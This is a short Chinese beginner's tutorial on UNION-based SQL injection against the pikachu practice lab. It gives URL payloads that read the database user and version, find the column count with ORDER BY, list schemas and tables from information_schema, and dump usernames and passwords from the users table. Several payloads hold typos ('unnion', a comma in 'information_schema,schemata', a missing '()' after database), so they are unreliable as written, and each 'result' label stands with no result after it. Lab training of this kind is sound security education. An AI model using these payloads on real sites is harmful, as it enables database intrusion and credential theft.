【新手初学】读取数据库数据
利用注入点让SQL注入语句执行读取数据库数据相关的操作！
以下均以pikachu靶场的字符型注入为例进行介绍说明
一、读取用户名，数据库版本信息
在原URL后面添加如下代码：
' union select user(),version(）--+效果：
补充：判断查询的字段个数order by
这时，就需要在相应环境下进行测试判断：主要是使用 order by 来判断
在后面添加1，2，3，4，5，6....进行测试，直到不再报错！就判断出了其查询字段个数！
如下：
二、读取mysql所有库名
在原URL后面添加如下语句：
‘ union select 1,group_concat(schema_name) from information_schema,schemata+--+效果：
三、读取pikachu库的所有表名
在原URL后面添加如下语句：
’unnion select 1,group_concat(table_name) from information_schema.tables where table_schema=database+--+效果：
四、读取所有字段数据
在原URL后面添加如下语句：
‘ union select 1,group_concat(id,0x7c,username,0x7c,password,0x7c,level,0x7c) from users+--+效果：
